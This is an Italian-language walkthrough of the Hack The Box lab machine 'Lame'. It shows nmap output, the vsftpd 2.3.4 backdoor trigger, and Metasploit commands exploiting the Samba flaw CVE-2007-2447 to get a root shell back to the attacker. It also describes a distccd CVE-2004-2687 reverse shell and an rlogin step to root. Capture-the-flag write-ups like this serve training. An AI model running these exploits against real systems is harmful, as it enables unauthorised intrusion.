HTB - Lame



A seguire è riportato un breve walkthrough della macchina Lame offerta dalla piattaforma Hack the Box.


Iniziamo come al solito utilizzando nmap per effettuare lo scans delle porte per ottenere la seguente situazione:


Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 20:49 CEST
Host is up (0.052s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.70
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m36s, deviation: 2h49m43s, median: 35s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-07-05T14:50:04-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.92 seconds

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 20:49 CEST
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 30.84% done; ETC: 20:51 (0:01:36 remaining)
Nmap scan report for lame (10.129.171.68)
Host is up (0.052s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

Nmap done: 1 IP address (1 host up) scanned in 104.70 seconds    

Le porte di interesse dallo scan sono tre, e sono le seguenti:

  • La porta 21 è interessante in quanto la versione del software vsftpd 2.3.4 è vulnerabile ad una nota backdoor.

  • La porta 445 è interessante in quanto il protocollo samba è un protocollo critico che potrebbe presentari vari punti di accesso, e la particolare versione che gira sul server è vulnerabile a CVE-2007-2447.

  • Infine, la porta 3632 è interessante per il servizio che offre, che è vulnearbile a CVE-2004-2687.


L'idea è quella di fare il login anonimo con ftp utilizzando, nello username, i caratteri :) per attivare la backdoor nel server nella porta 6200.

Notiamo però che in questo particolare server la backdoor non funziona.


È possibile utilizzare un modulo di metasploit per exploitare la CVE-2007-2447.

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS lame
set LHOST tun0
run

In questo modo otteniamo una root da shell e siamo in grado di leggere entrambe le flags, sia quella user, situata in /home/makis/user.txt, e sia quella root, situata in /root/root.txt.


Per exploitare questa vulnerabilità ho preso lo script dal seguente link e l'ho modificato leggermente per ottenere il seguente nuovo script: my_distccd_rce.py

Questo script invia un messaggio utilizzando il protocollo distccd per far esegurie al server un comando arbitrario passato tramite lo script.

Utilizzando questo script possiamo spawnare una reverse shell con l'utente daemon. Una volta che abbiamo questa shell possiamo utilizzare il comando

rlogin -l root localhost

per prendere la shell da root e leggere entrambe le flags.